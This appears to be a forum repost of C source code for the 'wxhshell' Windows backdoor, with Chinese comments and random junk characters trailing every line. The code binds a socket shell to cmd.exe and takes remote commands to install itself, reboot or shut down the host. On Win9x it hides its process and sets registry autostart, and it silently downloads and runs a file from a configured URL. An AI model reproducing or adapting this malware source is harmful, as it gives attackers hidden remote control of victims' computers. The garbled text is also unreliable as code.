  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %c%0pGn8-  
  else 8$O=HE*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BZy&;P  
  } .Ap-<FB  
  else { 'P{0K?{H-4  
Fw!wSzsk3  
    switch(cmd[0]) { Qmxe*@{`  
  \|20E51B[  
  // 帮助 `oP<mLxle  
  case '?': { ^|^ek  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :34#z.O  
    break; ;seD{y7!  
  } -lHSojq~H  
  // 安装 RXa&*Jtr -  
  case 'i': { L(a&,cdh  
    if(Install()) +]|aACt]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hzIP ?0^E  
    else {@Y|"qIN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h8;B+#f`  
    break; 6~8A$:  
    } * z|i{=W F  
  // 卸载 Wx#((T  
  case 'r': { fUQuEh5_  
    if(Uninstall()) q[4{Xh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \F]X!#&+  
    else ,L#Qy>MOb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Nb0&:$ay  
    break; `n%uvo}UT  
    } s(56aE  
  // 显示 wxhshell 所在路径 CW*Kd t  
  case 'p': { ]H8CVue  
    char svExeFile[MAX_PATH]; UpL1C~&  
    strcpy(svExeFile,"\n\r"); BrYU*aPW;  
      strcat(svExeFile,ExeFile); yidUtSv=,  
        send(wsh,svExeFile,strlen(svExeFile),0); FQ dz":5  
    break; 7%?2>t3~  
    } 7'wt/9  
  // 重启 WAPN,WuW  
  case 'b': { :.kc1_veYS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (_G&S~@.  
    if(Boot(REBOOT)) [+0rlmB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oh+Q}Fa:  
    else { 32!jF}qpD  
    closesocket(wsh); V@gweci  
    ExitThread(0); x)eYqH~i  
    } N6wea]  
    break; 8A/;a{   
    } aty"6~  
  // 关机 4Q2=\-KFj  
  case 'd': { }7iWmXlI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PI{;3X}9$,  
    if(Boot(SHUTDOWN)) tpe:]T/xh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *,$cW ,LN  
    else { 9(?9yFbj5  
    closesocket(wsh); Cz=HxU80J  
    ExitThread(0); E$5)]<p! <  
    } s*`_Ka57]~  
    break; >ZMB}pt`  
    } 4;anoqiG\  
  // 获取shell XWH{+c"  
  case 's': { Il(p!l<Xz#  
    CmdShell(wsh); om%L>zfB  
    closesocket(wsh); );T0n  
    ExitThread(0);  pME17 af  
    break; ,|hM`<"?  
  } ,lK=m~  
  // 退出 r[xj,eIb  
  case 'x': { \_?A8F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VwfeaDJw  
    CloseIt(wsh); ^):m^w.  
    break; r':wq   
    } g ycjIy@t  
  // 离开 W}&[p=PAS  
  case 'q': { 6"@+Jz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0* Ox>O>  
    closesocket(wsh); EBjSK/  
    WSACleanup(); S~BBBD  
    exit(1); C9^[A4O@X!  
    break; 2xBIfmR^y  
        } h2kb a6rwk  
  } ovv<7`  
  } .FUws  
VO#x+u]/  
  // 提示信息 D$C>ZF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +"8 [E~Bih  
} )!+M\fT  
  } 8U,VpuQ:  
[ kI|Thx  
  return; sT.;*3{  
} H4%2"w6|!  
gO>XNXN{  
// shell模块句柄 4 DhGp  
int CmdShell(SOCKET sock) *'5 )CC  
{ A-5xgp,  
STARTUPINFO si; /Y=Cg%+  
ZeroMemory(&si,sizeof(si)); <A{|=2<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !cP2,l 'f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^)$(Fe<  
PROCESS_INFORMATION ProcessInfo; V<X[>C'  
char cmdline[]="cmd"; l-;u*JA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ${(v Er#}k  
  return 0; a1p Z{Od  
} uw'>tb@  
>< <(6  
// 自身启动模式 >eX&HSoy  
int StartFromService(void) GM&< ?K1  
{ HgH\2QL3&  
typedef struct 4n55{ ?Z  
{ j\W"P_dpd  
  DWORD ExitStatus; kKbq?}W[  
  DWORD PebBaseAddress; Z>=IP-,>  
  DWORD AffinityMask; 1'.SHY|  
  DWORD BasePriority; sVdn>$KXk  
  ULONG UniqueProcessId; 0,~f"Dyqy  
  ULONG InheritedFromUniqueProcessId; iuxI$  
}   PROCESS_BASIC_INFORMATION; l%vX$Kw  
Ir%L%MuR]  
PROCNTQSIP NtQueryInformationProcess; |'mwr!  
UC3&:aQ!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Mx F? I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q-A:0F&{t  
pib i#  
  HANDLE             hProcess; L{;Sc_  
  PROCESS_BASIC_INFORMATION pbi; _=,\uIrk  
R _#x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =;9 %Q{  
  if(NULL == hInst ) return 0; MW^(  
@Z0?1+k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EPEy60Rx5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fjnp0:p9X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q]44A+M]  
m+66x {M2c  
  if (!NtQueryInformationProcess) return 0; %:yp>nm  
Eb 8vnB#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w;;yw3  
  if(!hProcess) return 0; <x&0a$I  
ie<zc+*rW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tX'`4!{@+  
a1^CpeG~  
  CloseHandle(hProcess); 4XL$I*;4  
zL8Z8eh">  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "LwLTPC2  
if(hProcess==NULL) return 0; ' 6^+|1  
O|Sbe%[*wW  
HMODULE hMod; KGM9 b  
char procName[255]; VT>TmfN(I  
unsigned long cbNeeded; ]~a;tF>Fw  
UCu0Xqf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qq Vjx?bKe  
m1pge4*  
  CloseHandle(hProcess); L{pz)')I  
r4YiXss  
if(strstr(procName,"services")) return 1; // 以服务启动 QoLp$1O (y  
d_v]mfUF  
  return 0; // 注册表启动 ko-3`hX`  
} [j3-a4W u  
Za[ ?CA  
// 主模块 0o2*X|i(  
int StartWxhshell(LPSTR lpCmdLine) ;2#9q9(  
{ J&P{7a  
  SOCKET wsl; 7Shau%2C  
BOOL val=TRUE; Dx)>`yJk$;  
  int port=0; GtuA94=!V&  
  struct sockaddr_in door; `!Z0; qk  
Fb2,2Px  
  if(wscfg.ws_autoins) Install(); lw\+!}8(  
D_SXxP[! g  
port=atoi(lpCmdLine); ^"dVz.  
I45 kPfu  
if(port<=0) port=wscfg.ws_port; -JKl\E  
34*73WxK  
  WSADATA data; R"wBDWs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ='W=  
<mrvuWg0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LoUHStt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \T'.b93~B  
  door.sin_family = AF_INET; |~K 5]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /b1+ ^|_  
  door.sin_port = htons(port); ]iU8n (5f  
)])nd "E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }}Zwdpo  
closesocket(wsl); |?cL>]t  
return 1; =l)D$l  
} *&vlfH  
1 5heLnei  
  if(listen(wsl,2) == INVALID_SOCKET) { ._E 6?  
closesocket(wsl); =,B Dd$e  
return 1; {})d}dEC  
} ]Cc3}+(s  
  Wxhshell(wsl); 1+F0$<e}  
  WSACleanup(); G?M<B~}  
12i<b  
return 0; %nS(>X<B  
eS`ZC!W   
} E"O6N.}.  
AZ9;6Df  
// 以NT服务方式启动 CL|d>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "[QQ(]={  
{ &%UZ"CcA  
DWORD   status = 0; <~ Dq8If  
  DWORD   specificError = 0xfffffff;  ?v z[Zi  
a Xn:hn~O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AqA.,;G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >]L\Bw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C3K":JB  
  serviceStatus.dwWin32ExitCode     = 0; :' =le*h  
  serviceStatus.dwServiceSpecificExitCode = 0; ptc.JB6  
  serviceStatus.dwCheckPoint       = 0; } =p e;l  
  serviceStatus.dwWaitHint       = 0; dfA2G<Uc  
:@RX}rKG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dO1h1yJJ  
  if (hServiceStatusHandle==0) return; ,Y&7` m  
l\/uXP?  
status = GetLastError(); s/l>P~3=  
  if (status!=NO_ERROR) 1gA^Qv~?  
{ ?NVX# t'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]Sey|/@D  
    serviceStatus.dwCheckPoint       = 0; O:]e4r,'  
    serviceStatus.dwWaitHint       = 0; | |u  
    serviceStatus.dwWin32ExitCode     = status; %ws@t"aER  
    serviceStatus.dwServiceSpecificExitCode = specificError; %p(X*mVX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~eyZH8&  
    return; ,/ YTW@N  
  } ~eZ]LW])  
s$JO3-)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {/|tVc63  
  serviceStatus.dwCheckPoint       = 0; ;=UkTn}N?l  
  serviceStatus.dwWaitHint       = 0; 8DuD1hZq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HEk{!Y  
} ,rNv}  
Ihd{tmr<  
// 处理NT服务事件,比如:启动、停止 o(gV;>I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gc=uKQ+\V  
{ o?g9Grk  
switch(fdwControl) TFNB %|  
{ xV0:K=  
case SERVICE_CONTROL_STOP: kz"QS.${  
  serviceStatus.dwWin32ExitCode = 0; h+!@`c>)Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2M>`W5  
  serviceStatus.dwCheckPoint   = 0; FfX*bqy  
  serviceStatus.dwWaitHint     = 0; NI:3hfs  
  { YO9ofT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C"0vMUZ  
  } 9'=ZxV  
  return; K]'t>:G @  
case SERVICE_CONTROL_PAUSE: [#SiwhF|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c :2w(BVi  
  break; ;lQ>>[*  
case SERVICE_CONTROL_CONTINUE: !{?<(6;t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +,_%9v?3  
  break;  K,o&gY  
case SERVICE_CONTROL_INTERROGATE: 7.*Mmx~]=  
  break; &u4;A[- R  
}; 1d!TU=*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2xBYJoF(  
} U;=1v:~d  
<2e[;$  
// 标准应用程序主函数 eUKl(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g_JSgH!4  
{ Ie[DTy  
[7\x(W-:@>  
// 获取操作系统版本 2BO&OX|X  
OsIsNt=GetOsVer(); vawS5b;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _/J`v`}G  
3=("vR`!  
  // 从命令行安装 h-]c   
  if(strpbrk(lpCmdLine,"iI")) Install(); `n"PHur  
i~LY  
  // 下载执行文件 L%<DLe^P`l  
if(wscfg.ws_downexe) { GvBmh.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `|<? sjY  
  WinExec(wscfg.ws_filenam,SW_HIDE); d5"rCd[  
} MJA;P7g  
25;(`Td 5  
if(!OsIsNt) { 2Z-QVwa*U  
// 如果时win9x,隐藏进程并且设置为注册表启动 AHU =`z  
HideProc(); PDS?>Jg(  
StartWxhshell(lpCmdLine); cEIs9;  
} c5Hyja=  
else 6!C>J#T  
  if(StartFromService()) M0t9`Z9  
  // 以服务方式启动 #fDM{f0]R  
  StartServiceCtrlDispatcher(DispatchTable); 9 /=+2SZ  
else i}O.,iH  
  // 普通方式启动 G8.nKoHv7x  
  StartWxhshell(lpCmdLine); !tSh9L;<O  
d+nxvh?I8  
return 0; c=D~hzN  
}
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只看该作者 1 发表于: 2006-10-10
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